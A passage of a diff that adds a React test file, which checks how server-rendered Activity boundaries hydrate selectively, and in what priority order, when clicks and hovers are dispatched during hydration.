+      false,
+      false,
+      false,
+      0,
+      from,
+    );
+    to.dispatchEvent(mouseOverEvent);
+  }
+}
+
+function dispatchClickEvent(target) {
+  const mouseOutEvent = document.createEvent('MouseEvents');
+  mouseOutEvent.initMouseEvent(
+    'click',
+    true,
+    true,
+    window,
+    0,
+    50,
+    50,
+    50,
+    50,
+    false,
+    false,
+    false,
+    false,
+    0,
+    target,
+  );
+  return target.dispatchEvent(mouseOutEvent);
+}
+
+// TODO: There's currently no React DOM API to opt into Idle priority updates,
+// and there's no native DOM event that maps to idle priority, so this is a
+// temporary workaround. Need something like ReactDOM.unstable_IdleUpdates.
+function TODO_scheduleIdleDOMSchedulerTask(fn) {
+  ReactDOM.unstable_runWithPriority(IdleEventPriority, () => {
+    const prevEvent = window.event;
+    window.event = {type: 'message'};
+    try {
+      fn();
+    } finally {
+      window.event = prevEvent;
+    }
+  });
+}
+
+function TODO_scheduleContinuousSchedulerTask(fn) {
+  ReactDOM.unstable_runWithPriority(ContinuousEventPriority, () => {
+    const prevEvent = window.event;
+    window.event = {type: 'message'};
+    try {
+      fn();
+    } finally {
+      window.event = prevEvent;
+    }
+  });
+}
+
+describe('ReactDOMServerSelectiveHydrationActivity', () => {
+  beforeEach(() => {
+    jest.resetModules();
+
+    ReactFeatureFlags = require('shared/ReactFeatureFlags');
+    ReactFeatureFlags.enableCreateEventHandleAPI = true;
+    React = require('react');
+    ReactDOM = require('react-dom');
+    ReactDOMClient = require('react-dom/client');
+    ReactDOMServer = require('react-dom/server');
+    act = require('internal-test-utils').act;
+    Scheduler = require('scheduler');
+    Activity = React.Activity;
+
+    const InternalTestUtils = require('internal-test-utils');
+    assertLog = InternalTestUtils.assertLog;
+    waitForAll = InternalTestUtils.waitForAll;
+    waitFor = InternalTestUtils.waitFor;
+    waitForPaint = InternalTestUtils.waitForPaint;
+
+    IdleEventPriority = require('react-reconciler/constants').IdleEventPriority;
+    ContinuousEventPriority =
+      require('react-reconciler/constants').ContinuousEventPriority;
+  });
+
+  it('hydrates the target boundary synchronously during a click', async () => {
+    function Child({text}) {
+      Scheduler.log(text);
+      return (
+        <span
+          onClick={e => {
+            e.preventDefault();
+            Scheduler.log('Clicked ' + text);
+          }}>
+          {text}
+        </span>
+      );
+    }
+
+    function App() {
+      Scheduler.log('App');
+      return (
+        <div>
+          <Activity>
+            <Child text="A" />
+          </Activity>
+          <Activity>
+            <Child text="B" />
+          </Activity>
+        </div>
+      );
+    }
+
+    const finalHTML = ReactDOMServer.renderToString(<App />);
+
+    assertLog(['App', 'A', 'B']);
+
+    const container = document.createElement('div');
+    // We need this to be in the document since we'll dispatch events on it.
+    document.body.appendChild(container);
+
+    container.innerHTML = finalHTML;
+
+    const span = container.getElementsByTagName('span')[1];
+
+    ReactDOMClient.hydrateRoot(container, <App />);
+
+    // Nothing has been hydrated so far.
+    assertLog([]);
+
+    // This should synchronously hydrate the root App and the second suspense
+    // boundary.
+    const result = dispatchClickEvent(span);
+
+    // The event should have been canceled because we called preventDefault.
+    expect(result).toBe(false);
+
+    // We rendered App, B and then invoked the event without rendering A.
+    assertLog(['App', 'B', 'Clicked B']);
+
+    // After continuing the scheduler, we finally hydrate A.
+    await waitForAll(['A']);
+
+    document.body.removeChild(container);
+  });
+
+  it('hydrates at higher pri if sync did not work first time', async () => {
+    let suspend = false;
+    let resolve;
+    const promise = new Promise(resolvePromise => (resolve = resolvePromise));
+
+    function Child({text}) {
+      if ((text === 'A' || text === 'D') && suspend) {
+        throw promise;
+      }
+      Scheduler.log(text);
+      return (
+        <span
+          onClick={e => {
+            e.preventDefault();
+            Scheduler.log('Clicked ' + text);
+          }}>
+          {text}
+        </span>
+      );
+    }
+
+    function App() {
+      Scheduler.log('App');
+      return (
+        <div>
+          <Activity>
+            <Child text="A" />
+          </Activity>
+          <Activity>
+            <Child text="B" />
+          </Activity>
+          <Activity>
+            <Child text="C" />
+          </Activity>
+          <Activity>
+            <Child text="D" />
+          </Activity>
+        </div>
+      );
+    }
+
+    const finalHTML = ReactDOMServer.renderToString(<App />);
+
+    assertLog(['App', 'A', 'B', 'C', 'D']);
+
+    const container = document.createElement('div');
+    // We need this to be in the document since we'll dispatch events on it.
+    document.body.appendChild(container);
+
+    container.innerHTML = finalHTML;
+
+    const spanD = container.getElementsByTagName('span')[3];
+
+    suspend = true;
+
+    // A and D will be suspended. We'll click on D which should take
+    // priority, after we unsuspend.
+    ReactDOMClient.hydrateRoot(container, <App />);
+
+    // Nothing has been hydrated so far.
+    assertLog([]);
+
+    // This click target cannot be hydrated yet because it's suspended.
+    await act(() => {
+      const result = dispatchClickEvent(spanD);
+      expect(result).toBe(true);
+    });
+    assertLog([
+      'App',
+      // Continuing rendering will render B next.
+      'B',
+      'C',
+    ]);
+
+    await act(async () => {
+      suspend = false;
+      resolve();
+      await promise;
+    });
+
+    assertLog(['D', 'A']);
+
+    document.body.removeChild(container);
+  });
+
+  it('hydrates at higher pri for secondary discrete events', async () => {
+    let suspend = false;
+    let resolve;
+    const promise = new Promise(resolvePromise => (resolve = resolvePromise));
+
+    function Child({text}) {
+      if ((text === 'A' || text === 'D') && suspend) {
+        throw promise;
+      }
+      Scheduler.log(text);
+      return (
+        <span
+          onClick={e => {
+            e.preventDefault();
+            Scheduler.log('Clicked ' + text);
+          }}>
+          {text}
+        </span>
+      );
+    }
+
+    function App() {
+      Scheduler.log('App');
+      return (
+        <div>
+          <Activity>
+            <Child text="A" />
+          </Activity>
+          <Activity>
+            <Child text="B" />
+          </Activity>
+          <Activity>
+            <Child text="C" />
+          </Activity>
+          <Activity>
+            <Child text="D" />
+          </Activity>
+        </div>
+      );
+    }
+
+    const finalHTML = ReactDOMServer.renderToString(<App />);
+
+    assertLog(['App', 'A', 'B', 'C', 'D']);
+
+    const container = document.createElement('div');
+    // We need this to be in the document since we'll dispatch events on it.
+    document.body.appendChild(container);
+
+    container.innerHTML = finalHTML;
+
+    const spanA = container.getElementsByTagName('span')[0];
+    const spanC = container.getElementsByTagName('span')[2];
+    const spanD = container.getElementsByTagName('span')[3];
+
+    suspend = true;
+
+    // A and D will be suspended. We'll click on D which should take
+    // priority, after we unsuspend.
+    ReactDOMClient.hydrateRoot(container, <App />);
+
+    // Nothing has been hydrated so far.
+    assertLog([]);
+
+    // This click target cannot be hydrated yet because the first is Suspended.
+    dispatchClickEvent(spanA);
+    dispatchClickEvent(spanC);
+    dispatchClickEvent(spanD);
+
+    assertLog(['App', 'C', 'Clicked C']);
+
+    await act(async () => {
+      suspend = false;
+      resolve();
+      await promise;
+    });
+
+    assertLog([
+      'A',
+      'D',
+      // B should render last since it wasn't clicked.
+      'B',
+    ]);
+
+    document.body.removeChild(container);
+  });
+
+  // @gate www
+  it('hydrates the target boundary synchronously during a click (createEventHandle)', async () => {
+    const setClick = ReactDOM.unstable_createEventHandle('click');
+    let isServerRendering = true;
+
+    function Child({text}) {
+      const ref = React.useRef(null);
+      Scheduler.log(text);
+      if (!isServerRendering) {
+        React.useLayoutEffect(() => {
+          return setClick(ref.current, () => {
+            Scheduler.log('Clicked ' + text);
+          });
+        });
+      }
+
+      return <span ref={ref}>{text}</span>;
+    }
+
+    function App() {
+      Scheduler.log('App');
+      return (
+        <div>
+          <Activity>
+            <Child text="A" />
+          </Activity>
+          <Activity>
+            <Child text="B" />
+          </Activity>
+        </div>
+      );
+    }
+
+    const finalHTML = ReactDOMServer.renderToString(<App />);
+
+    assertLog(['App', 'A', 'B']);
+
+    const container = document.createElement('div');
+    // We need this to be in the document since we'll dispatch events on it.
+    document.body.appendChild(container);
+
+    container.innerHTML = finalHTML;
+
+    isServerRendering = false;
+
+    ReactDOMClient.hydrateRoot(container, <App />);
+
+    // Nothing has been hydrated so far.
+    assertLog([]);
+
+    const span = container.getElementsByTagName('span')[1];
+
+    const target = createEventTarget(span);
+
+    // This should synchronously hydrate the root App and the second suspense
+    // boundary.
+    target.virtualclick();
+
+    // We rendered App, B and then invoked the event without rendering A.
+    assertLog(['App', 'B', 'Clicked B']);
+
+    // After continuing the scheduler, we finally hydrate A.
+    await waitForAll(['A']);
+
+    document.body.removeChild(container);
+  });
+
+  // @gate www
+  it('hydrates at higher pri if sync did not work first time (createEventHandle)', async () => {
+    let suspend = false;
+    let isServerRendering = true;
+    let resolve;
+    const promise = new Promise(resolvePromise => (resolve = resolvePromise));
+    const setClick = ReactDOM.unstable_createEventHandle('click');
+
+    function Child({text}) {
+      const ref = React.useRef(null);
+      if ((text === 'A' || text === 'D') && suspend) {
+        throw promise;
+      }
+      Scheduler.log(text);
+
+      if (!isServerRendering) {
+        React.useLayoutEffect(() => {
+          return setClick(ref.current, () => {
+            Scheduler.log('Clicked ' + text);
+          });
+        });
+      }
+
+      return <span ref={ref}>{text}</span>;
+    }
+
+    function App() {
+      Scheduler.log('App');
+      return (
+        <div>
+          <Activity>
+            <Child text="A" />
+          </Activity>
+          <Activity>
+            <Child text="B" />
+          </Activity>
+          <Activity>
+            <Child text="C" />
+          </Activity>
+          <Activity>
+            <Child text="D" />
+          </Activity>
+        </div>
+      );
+    }
+
+    const finalHTML = ReactDOMServer.renderToString(<App />);
+
+    assertLog(['App', 'A', 'B', 'C', 'D']);
+
+    const container = document.createElement('div');
+    // We need this to be in the document since we'll dispatch events on it.
+    document.body.appendChild(container);
+
+    container.innerHTML = finalHTML;
+
+    const spanD = container.getElementsByTagName('span')[3];
+
+    suspend = true;
+    isServerRendering = false;
+
+    // A and D will be suspended. We'll click on D which should take
+    // priority, after we unsuspend.
+    ReactDOMClient.hydrateRoot(container, <App />);
+
+    // Nothing has been hydrated so far.
+    assertLog([]);
+
+    // Continuing rendering will render B next.
+    await act(() => {
+      const target = createEventTarget(spanD);
+      target.virtualclick();
+    });
+    assertLog(['App', 'B', 'C']);
+
+    // After the click, we should prioritize D and the Click first,
+    // and only after that render A and C.
+    await act(async () => {
+      suspend = false;
+      resolve();
+      await promise;
+    });
+
+    // no replay
+    assertLog(['D', 'A']);
+
+    document.body.removeChild(container);
+  });
+
+  // @gate www
+  it('hydrates at higher pri for secondary discrete events (createEventHandle)', async () => {
+    const setClick = ReactDOM.unstable_createEventHandle('click');
+    let suspend = false;
+    let isServerRendering = true;
+    let resolve;
+    const promise = new Promise(resolvePromise => (resolve = resolvePromise));
+
+    function Child({text}) {
+      const ref = React.useRef(null);
+      if ((text === 'A' || text === 'D') && suspend) {
+        throw promise;
+      }
+      Scheduler.log(text);
+
+      if (!isServerRendering) {
+        React.useLayoutEffect(() => {
+          return setClick(ref.current, () => {
+            Scheduler.log('Clicked ' + text);
+          });
+        });
+      }
+      return <span ref={ref}>{text}</span>;
+    }
+
+    function App() {
+      Scheduler.log('App');
+      return (
+        <div>
+          <Activity>
+            <Child text="A" />
+          </Activity>
+          <Activity>
+            <Child text="B" />
+          </Activity>
+          <Activity>
+            <Child text="C" />
+          </Activity>
+          <Activity>
+            <Child text="D" />
+          </Activity>
+        </div>
+      );
+    }
+
+    const finalHTML = ReactDOMServer.renderToString(<App />);
+
+    assertLog(['App', 'A', 'B', 'C', 'D']);
+
+    const container = document.createElement('div');
+    // We need this to be in the document since we'll dispatch events on it.
+    document.body.appendChild(container);
+
+    container.innerHTML = finalHTML;
+
+    const spanA = container.getElementsByTagName('span')[0];
+    const spanC = container.getElementsByTagName('span')[2];
+    const spanD = container.getElementsByTagName('span')[3];
+
+    suspend = true;
+    isServerRendering = false;
+
+    // A and D will be suspended. We'll click on D which should take
+    // priority, after we unsuspend.
+    ReactDOMClient.hydrateRoot(container, <App />);
+
+    // Nothing has been hydrated so far.
+    assertLog([]);
+
+    // This click target cannot be hydrated yet because the first is Suspended.
+    createEventTarget(spanA).virtualclick();
+    createEventTarget(spanC).virtualclick();
+    createEventTarget(spanD).virtualclick();
+
+    assertLog(['App', 'C', 'Clicked C']);
+
+    await act(async () => {
+      suspend = false;
+      resolve();
+      await promise;
+    });
+
+    assertLog([
+      'A',
+      'D',
+      // B should render last since it wasn't clicked.
+      'B',
+    ]);
+
+    document.body.removeChild(container);
+  });
+
+  it('hydrates the hovered targets as higher priority for continuous events', async () => {
+    let suspend = false;
+    let resolve;
+    const promise = new Promise(resolvePromise => (resolve = resolvePromise));
+    function Child({text}) {
+      if ((text === 'A' || text === 'D') && suspend) {
+        throw promise;
+      }
+      Scheduler.log(text);
+      return (
+        <span
+          onClick={e => {
+            e.preventDefault();
+            Scheduler.log('Clicked ' + text);
+          }}
+          onMouseEnter={e => {
+            e.preventDefault();
+            Scheduler.log('Hover ' + text);
+          }}>
+          {text}
+        </span>
+      );
+    }
+
+    function App() {
+      Scheduler.log('App');
+      return (
+        <div>
+          <Activity>
+            <Child text="A" />
+          </Activity>
+          <Activity>
+            <Child text="B" />
+          </Activity>
+          <Activity>
+            <Child text="C" />
+          </Activity>
+          <Activity>
+            <Child text="D" />
+          </Activity>
+        </div>
+      );
+    }
+    const finalHTML = ReactDOMServer.renderToString(<App />);
+    assertLog(['App', 'A', 'B', 'C', 'D']);
+    const container = document.createElement('div');
+    // We need this to be in the document since we'll dispatch events on it.
+    document.body.appendChild(container);
+
+    container.innerHTML = finalHTML;
+
+    const spanB = container.getElementsByTagName('span')[1];
+    const spanC = container.getElementsByTagName('span')[2];
+    const spanD = container.getElementsByTagName('span')[3];
+
+    suspend = true;
+
+    // A and D will be suspended. We'll click on D which should take
+    // priority, after we unsuspend.
+    ReactDOMClient.hydrateRoot(container, <App />);
+
+    // Nothing has been hydrated so far.
+    assertLog([]);
+
+    await act(() => {
+      // Click D
+      dispatchMouseHoverEvent(spanD, null);
+      dispatchClickEvent(spanD);
+
+      // Hover over B and then C.
+      dispatchMouseHoverEvent(spanB, spanD);
+      dispatchMouseHoverEvent(spanC, spanB);
+
+      assertLog(['App']);
+
+      suspend = false;
+      resolve();
+    });
+
+    // We should prioritize hydrating D first because we clicked it.
+    // but event isnt replayed
+    assertLog([
+      'D',
+      'B', // Ideally this should be later.
+      'C',
+      'Hover C',
+      'A',
+    ]);
+
+    document.body.removeChild(container);
+  });
+
+  it('replays capture phase for continuous events and respects stopPropagation', async () => {
+    let suspend = false;
+    let resolve;
+    const promise = new Promise(resolvePromise => (resolve = resolvePromise));
+
+    function Child({text}) {
+      if ((text === 'A' || text === 'D') && suspend) {
+        throw promise;
+      }
+      Scheduler.log(text);
+      return (
+        <span
+          id={text}
+          onClickCapture={e => {
+            e.preventDefault();
+            Scheduler.log('Capture Clicked ' + text);
+          }}
+          onClick={e => {
+            e.preventDefault();
+            Scheduler.log('Clicked ' + text);
+          }}
+          onMouseEnter={e => {
+            e.preventDefault();
+            Scheduler.log('Mouse Enter ' + text);
+          }}
+          onMouseOut={e => {
+            e.preventDefault();
+            Scheduler.log('Mouse Out ' + text);
+          }}
+          onMouseOutCapture={e => {
+            e.preventDefault();
+            e.stopPropagation();
+            Scheduler.log('Mouse Out Capture ' + text);
+          }}
+          onMouseOverCapture={e => {
+            e.preventDefault();
+            e.stopPropagation();
+            Scheduler.log('Mouse Over Capture ' + text);
+          }}
+          onMouseOver={e => {
+            e.preventDefault();
+            Scheduler.log('Mouse Over ' + text);
+          }}>
+          <div
+            onMouseOverCapture={e => {
+              e.preventDefault();
+              Scheduler.log('Mouse Over Capture Inner ' + text);
+            }}>
+            {text}
+          </div>
+        </span>
+      );
+    }
+
+    function App() {
+      Scheduler.log('App');
+      return (
+        <div
+          onClickCapture={e => {
+            e.preventDefault();
+            Scheduler.log('Capture Clicked Parent');
+          }}
+          onMouseOverCapture={e => {
+            Scheduler.log('Mouse Over Capture Parent');
+          }}>
+          <Activity>
+            <Child text="A" />
+          </Activity>
+          <Activity>
+            <Child text="B" />
+          </Activity>
+          <Activity>
+            <Child text="C" />
+          </Activity>
+          <Activity>
+            <Child text="D" />
+          </Activity>
+        </div>
+      );
+    }
+
+    const finalHTML = ReactDOMServer.renderToString(<App />);
+
+    assertLog(['App', 'A', 'B', 'C', 'D']);
+
+    const container = document.createElement('div');
+    // We need this to be in the document since we'll dispatch events on it.
+    document.body.appendChild(container);
+
+    container.innerHTML = finalHTML;
+
+    const spanB = document.getElementById('B').firstChild;
+    const spanC = document.getElementById('C').firstChild;
+    const spanD = document.getElementById('D').firstChild;
+
+    suspend = true;
+
+    // A and D will be suspended. We'll click on D which should take
+    // priority, after we unsuspend.
+    ReactDOMClient.hydrateRoot(container, <App />);
+
+    // Nothing has been hydrated so far.
+    assertLog([]);
+
+    await act(async () => {
+      // Click D
+      dispatchMouseHoverEvent(spanD, null);
+      dispatchClickEvent(spanD);
+      // Hover over B and then C.
+      dispatchMouseHoverEvent(spanB, spanD);
+      dispatchMouseHoverEvent(spanC, spanB);
+
+      assertLog(['App']);
+
+      suspend = false;
+      resolve();
+    });
+
+    // We should prioritize hydrating D first because we clicked it.
+    // but event isnt replayed
+    assertLog([
+      'D',
+      'B', // Ideally this should be later.
+      'C',
+      // Mouse out events aren't replayed
+      // 'Mouse Out Capture B',
+      // 'Mouse Out B',
+      'Mouse Over Capture Parent',
+      'Mouse Over Capture C',
+      // Stop propagation stops these
+      // 'Mouse Over Capture Inner C',
+      // 'Mouse Over C',
+      'A',
+    ]);
+
+    // This test shows existing quirk where stopPropagation on mouseout
+    // prevents mouseEnter from firing
+    dispatchMouseHoverEvent(spanC, spanB);
+    assertLog([
+      'Mouse Out Capture B',
+      // stopPropagation stops these
+      // 'Mouse Out B',
+      // 'Mouse Enter C',
+      'Mouse Over Capture Parent',
+      'Mouse Over Capture C',
+      // Stop propagation stops these
+      // 'Mouse Over Capture Inner C',
+      // 'Mouse Over C',
+    ]);
+
+    document.body.removeChild(container);
+  });
+
+  it('replays event with null target when tree is dismounted', async () => {
+    let suspend = false;
+    let resolve;
+    const promise = new Promise(resolvePromise => {
+      resolve = () => {
+        suspend = false;
+        resolvePromise();
+      };
+    });
+
+    function Child() {
+      if (suspend) {
+        throw promise;
+      }
+      Scheduler.log('Child');
+      return (
+        <div
+          onMouseOver={() => {
+            Scheduler.log('on mouse over');
+          }}>
+          Child
+        </div>
+      );
+    }
+
+    function App() {
+      return (
+        <Activity>
+          <Child />
+        </Activity>
+      );
+    }
+
+    const finalHTML = ReactDOMServer.renderToString(<App />);
+    assertLog(['Child']);
+
+    const container = document.createElement('div');
+
+    document.body.appendChild(container);
+    container.innerHTML = finalHTML;
+    suspend = true;
+
+    ReactDOMClient.hydrateRoot(container, <App />);
+
+    const childDiv = container.firstElementChild;
+
+    await act(async () => {
+      dispatchMouseHoverEvent(childDiv);
+
+      // Not hydrated so event is saved for replay and stopPropagation is called
+      assertLog([]);
+
+      resolve();
+      await waitFor(['Child']);
+
+      ReactDOM.flushSync(() => {
+        container.removeChild(childDiv);
+
+        const container2 = document.createElement('div');
+        container2.addEventListener('mouseover', () => {
+          Scheduler.log('container2 mouse over');
+        });
+        container2.appendChild(childDiv);
+      });
+    });
+
+    // Even though the tree is remove the event is still dispatched with native event handler
+    // on the container firing.
+    assertLog(['container2 mouse over']);
+
+    document.body.removeChild(container);
+  });
+
+  it('hydrates the last target path first for continuous events', async () => {
+    let suspend = false;
+    let resolve;
+    const promise = new Promise(resolvePromise => (resolve = resolvePromise));
+
+    function Child({text}) {
+      if ((text === 'A' || text === 'D') && suspend) {
+        throw promise;
+      }
+      Scheduler.log(text);
+      return (
+        <span
+          onMouseEnter={e => {
+            e.preventDefault();
+            Scheduler.log('Hover ' + text);
+          }}>
+          {text}
+        </span>
+      );
+    }
+
+    function App() {
+      Scheduler.log('App');
+      return (
+        <div>
+          <Activity>
+            <Child text="A" />
+          </Activity>
+          <Activity>
+            <div>
+              <Activity>
+                <Child text="B" />
+              </Activity>
+            </div>
+            <Child text="C" />
+          </Activity>
+          <Activity>
+            <Child text="D" />
+          </Activity>
+        </div>
+      );
+    }
+
+    const finalHTML = ReactDOMServer.renderToString(<App />);
+
+    assertLog(['App', 'A', 'B', 'C', 'D']);
+
+    const container = document.createElement('div');
+    // We need this to be in the document since we'll dispatch events on it.
+    document.body.appendChild(container);
+
+    container.innerHTML = finalHTML;
+
+    const spanB = container.getElementsByTagName('span')[1];
+    const spanC = container.getElementsByTagName('span')[2];
+    const spanD = container.getElementsByTagName('span')[3];
+
+    suspend = true;
+
+    // A and D will be suspended. We'll click on D which should take
+    // priority, after we unsuspend.
+    ReactDOMClient.hydrateRoot(container, <App />);
+
+    // Nothing has been hydrated so far.
+    assertLog([]);
+
+    // Hover over B and then C.
+    dispatchMouseHoverEvent(spanB, spanD);
+    dispatchMouseHoverEvent(spanC, spanB);
+
+    await act(async () => {
+      suspend = false;
+      resolve();
+      await promise;
+    });
+
+    // We should prioritize hydrating D first because we clicked it.
+    // Next we should hydrate C since that's the current hover target.
+    // Next it doesn't matter if we hydrate A or B first but as an
+    // implementation detail we're currently hydrating B first since
+    // we at one point hovered over it and we never deprioritized it.
+    assertLog(['App', 'C', 'Hover C', 'A', 'B', 'D']);
+
+    document.body.removeChild(container);
+  });
+
+  it('hydrates the last explicitly hydrated target at higher priority', async () => {
+    function Child({text}) {
+      Scheduler.log(text);
+      return <span>{text}</span>;
+    }
+
+    function App() {
+      Scheduler.log('App');
+      return (
+        <div>
+          <Activity>
+            <Child text="A" />
+          </Activity>
+          <Activity>
+            <Child text="B" />
+          </Activity>
+          <Activity>
+            <Child text="C" />
+          </Activity>
+        </div>
+      );
+    }
+
+    const finalHTML = ReactDOMServer.renderToString(<App />);
+
+    assertLog(['App', 'A', 'B', 'C']);
+
+    const container = document.createElement('div');
+    container.innerHTML = finalHTML;
+
+    const spanB = container.getElementsByTagName('span')[1];
+    const spanC = container.getElementsByTagName('span')[2];
+
+    const root = ReactDOMClient.hydrateRoot(container, <App />);
+
+    // Nothing has been hydrated so far.
+    assertLog([]);
+
+    // Increase priority of B and then C.
+    root.unstable_scheduleHydration(spanB);
+    root.unstable_scheduleHydration(spanC);
+
+    // We should prioritize hydrating C first because the last added
+    // gets highest priority followed by the next added.
+    await waitForAll(['App', 'C', 'B', 'A']);
+  });
+
+  // @gate www
+  it('hydrates before an update even if hydration moves away from it', async () => {
+    function Child({text}) {
+      Scheduler.log(text);
+      return <span>{text}</span>;
+    }
+    const ChildWithBoundary = React.memo(function ({text}) {
+      return (
+        <Activity>
+          <Child text={text} />
+          <Child text={text.toLowerCase()} />
+        </Activity>
+      );
+    });
+
+    function App({a}) {
+      Scheduler.log('App');
+      React.useEffect(() => {
+        Scheduler.log('Commit');
+      });
+      return (
+        <div>
+          <ChildWithBoundary text={a} />
+          <ChildWithBoundary text="B" />
+          <ChildWithBoundary text="C" />
+        </div>
+      );
+    }
+
+    const finalHTML = ReactDOMServer.renderToString(<App a="A" />);
+
+    assertLog(['App', 'A', 'a', 'B', 'b', 'C', 'c']);
+
+    const container = document.createElement('div');
+    container.innerHTML = finalHTML;
+
+    // We need this to be in the document since we'll dispatch events on it.
+    document.body.appendChild(container);
+
+    const spanA = container.getElementsByTagName('span')[0];
+    const spanB = container.getElementsByTagName('span')[2];
+    const spanC = container.getElementsByTagName('span')[4];
+
+    await act(async () => {
+      const root = ReactDOMClient.hydrateRoot(container, <App a="A" />);
+      // Hydrate the shell.
+      await waitFor(['App', 'Commit']);
+
+      // Render an update at Idle priority that needs to update A.
+
+      TODO_scheduleIdleDOMSchedulerTask(() => {
+        root.render(<App a="AA" />);
+      });
+
+      // Start rendering. This will force the first boundary to hydrate
+      // by scheduling it at one higher pri than Idle.
+      await waitFor([
+        'App',
+
+        // Start hydrating A
+        'A',
+      ]);
+
+      // Hover over A which (could) schedule at one higher pri than Idle.
+      dispatchMouseHoverEvent(spanA, null);
+
+      // Before, we're done we now switch to hover over B.
+      // This is meant to test that this doesn't cause us to forget that
+      // we still have to hydrate A. The first boundary.
+      // This also tests that we don't do the -1 down-prioritization of
+      // continuous hover events because that would decrease its priority
+      // to Idle.
+      dispatchMouseHoverEvent(spanB, spanA);
+
+      // Also click C to prioritize that even higher which resets the
+      // priority levels.
+      dispatchClickEvent(spanC);
+
+      assertLog([
+        // Hydrate C first since we clicked it.
+        'C',
+        'c',
+      ]);
+
+      await waitForAll([
+        // Finish hydration of A since we forced it to hydrate.
+        'A',
+        'a',
+        // Also, hydrate B since we hovered over it.
+        // It's not important which one comes first. A or B.
+        // As long as they both happen before the Idle update.
+        'B',
+        'b',
+        // Begin the Idle update again.
+        'App',
+        'AA',
+        'aa',
+        'Commit',
+      ]);
+    });
+
+    const spanA2 = container.getElementsByTagName('span')[0];
+    // This is supposed to have been hydrated, not replaced.
+    expect(spanA).toBe(spanA2);
+
+    document.body.removeChild(container);
+  });
+
+  it('fires capture event handlers and native events if content is hydratable during discrete event', async () => {
+    spyOnDev(console, 'error');
+    function Child({text}) {
+      Scheduler.log(text);
+      const ref = React.useRef();
+      React.useLayoutEffect(() => {
+        if (!ref.current) {
+          return;
+        }
+        ref.current.onclick = () => {
+          Scheduler.log('Native Click ' + text);
+        };
+      }, [text]);
+      return (
+        <span
+          ref={ref}
+          onClickCapture={() => {
+            Scheduler.log('Capture Clicked ' + text);
+          }}
+          onClick={e => {
+            Scheduler.log('Clicked ' + text);
+          }}>
+          {text}
+        </span>
+      );
+    }
+
+    function App() {
+      Scheduler.log('App');
+      return (
+        <div>
+          <Activity>
+            <Child text="A" />
+          </Activity>
+          <Activity>
+            <Child text="B" />
+          </Activity>
+        </div>
+      );
+    }
+
+    const finalHTML = ReactDOMServer.renderToString(<App />);
+
+    assertLog(['App', 'A', 'B']);
+
+    const container = document.createElement('div');
+    // We need this to be in the document since we'll dispatch events on it.
+    document.body.appendChild(container);
+
+    container.innerHTML = finalHTML;
+
+    const span = container.getElementsByTagName('span')[1];
+
+    ReactDOMClient.hydrateRoot(container, <App />);
+
+    // Nothing has been hydrated so far.
+    assertLog([]);
+
+    // This should synchronously hydrate the root App and the second suspense
+    // boundary.
+    dispatchClickEvent(span);
+
+    // We rendered App, B and then invoked the event without rendering A.
+    assertLog(['App', 'B', 'Capture Clicked B', 'Native Click B', 'Clicked B']);
+
+    // After continuing the scheduler, we finally hydrate A.
+    await waitForAll(['A']);
+
+    document.body.removeChild(container);
+  });
+
+  it('does not propagate discrete event if it cannot be synchronously hydrated', async () => {
+    let triggeredParent = false;
+    let triggeredChild = false;
+    let suspend = false;
+    const promise = new Promise(() => {});
+    function Child() {
+      if (suspend) {
+        throw promise;
+      }
+      Scheduler.log('Child');
+      return (
+        <span
+          onClickCapture={e => {
+            e.stopPropagation();
+            triggeredChild = true;
+          }}>
+          Click me
+        </span>
+      );
+    }
+    function App() {
+      const onClick = () => {
+        triggeredParent = true;
+      };
+      Scheduler.log('App');
+      return (
+        <div
+          ref={n => {
+            if (n) n.onclick = onClick;
+          }}
+          onClick={onClick}>
+          <Activity>
+            <Child />
+          </Activity>
+        </div>
+      );
+    }
+    const finalHTML = ReactDOMServer.renderToString(<App />);
+
+    assertLog(['App', 'Child']);
+
+    const container = document.createElement('div');
+    document.body.appendChild(container);
+    container.innerHTML = finalHTML;
+
+    suspend = true;
+
+    ReactDOMClient.hydrateRoot(container, <App />);
+    // Nothing has been hydrated so far.
+    assertLog([]);
+
+    const span = container.getElementsByTagName('span')[0];
+    dispatchClickEvent(span);
+
+    assertLog(['App']);
+
+    dispatchClickEvent(span);
+
+    expect(triggeredParent).toBe(false);
+    expect(triggeredChild).toBe(false);
+  });
+
+  it('can force hydration in response to sync update', async () => {
+    function Child({text}) {
+      Scheduler.log(`Child ${text}`);
+      return <span ref={ref => (spanRef = ref)}>{text}</span>;
+    }
+    function App({text}) {
+      Scheduler.log(`App ${text}`);
+      return (
+        <div>
+          <Activity>
+            <Child text={text} />
+          </Activity>
+        </div>
+      );
+    }
+
+    let spanRef;
+    const finalHTML = ReactDOMServer.renderToString(<App text="A" />);
+    assertLog(['App A', 'Child A']);
+    const container = document.createElement('div');
+    document.body.appendChild(container);
+    container.innerHTML = finalHTML;
+    const initialSpan = container.getElementsByTagName('span')[0];
+    const root = ReactDOMClient.hydrateRoot(container, <App text="A" />);
+    await waitForPaint(['App A']);
+
+    await act(() => {
+      ReactDOM.flushSync(() => {
+        root.render(<App text="B" />);
+      });
+    });
+    assertLog(['App B', 'Child A', 'App B', 'Child B']);
+    expect(initialSpan).toBe(spanRef);
+  });
+
+  // @gate www
+  it('can force hydration in response to continuous update', async () => {
+    function Child({text}) {
+      Scheduler.log(`Child ${text}`);
+      return <span ref={ref => (spanRef = ref)}>{text}</span>;
+    }
+    function App({text}) {
+      Scheduler.log(`App ${text}`);
+      return (
+        <div>
+          <Activity>
+            <Child text={text} />
+          </Activity>
+        </div>
+      );
+    }
+
+    let spanRef;
+    const finalHTML = ReactDOMServer.renderToString(<App text="A" />);
+    assertLog(['App A', 'Child A']);
+    const container = document.createElement('div');
+    document.body.appendChild(container);
+    container.innerHTML = finalHTML;
+    const initialSpan = container.getElementsByTagName('span')[0];
+    const root = ReactDOMClient.hydrateRoot(container, <App text="A" />);
+    await waitForPaint(['App A']);
+
+    await act(() => {
+      TODO_scheduleContinuousSchedulerTask(() => {
+        root.render(<App text="B" />);
+      });
+    });
+
+    assertLog(['App B', 'Child A', 'App B', 'Child B']);
+    expect(initialSpan).toBe(spanRef);
+  });
+
+  it('can force hydration in response to default update', async () => {
+    function Child({text}) {
+      Scheduler.log(`Child ${text}`);
+      return <span ref={ref => (spanRef = ref)}>{text}</span>;
+    }
+    function App({text}) {
+      Scheduler.log(`App ${text}`);
+      return (
+        <div>
+          <Activity>
+            <Child text={text} />
+          </Activity>
+        </div>
+      );
+    }
+
+    let spanRef;
+    const finalHTML = ReactDOMServer.renderToString(<App text="A" />);
+    assertLog(['App A', 'Child A']);
+    const container = document.createElement('div');
+    document.body.appendChild(container);
+    container.innerHTML = finalHTML;
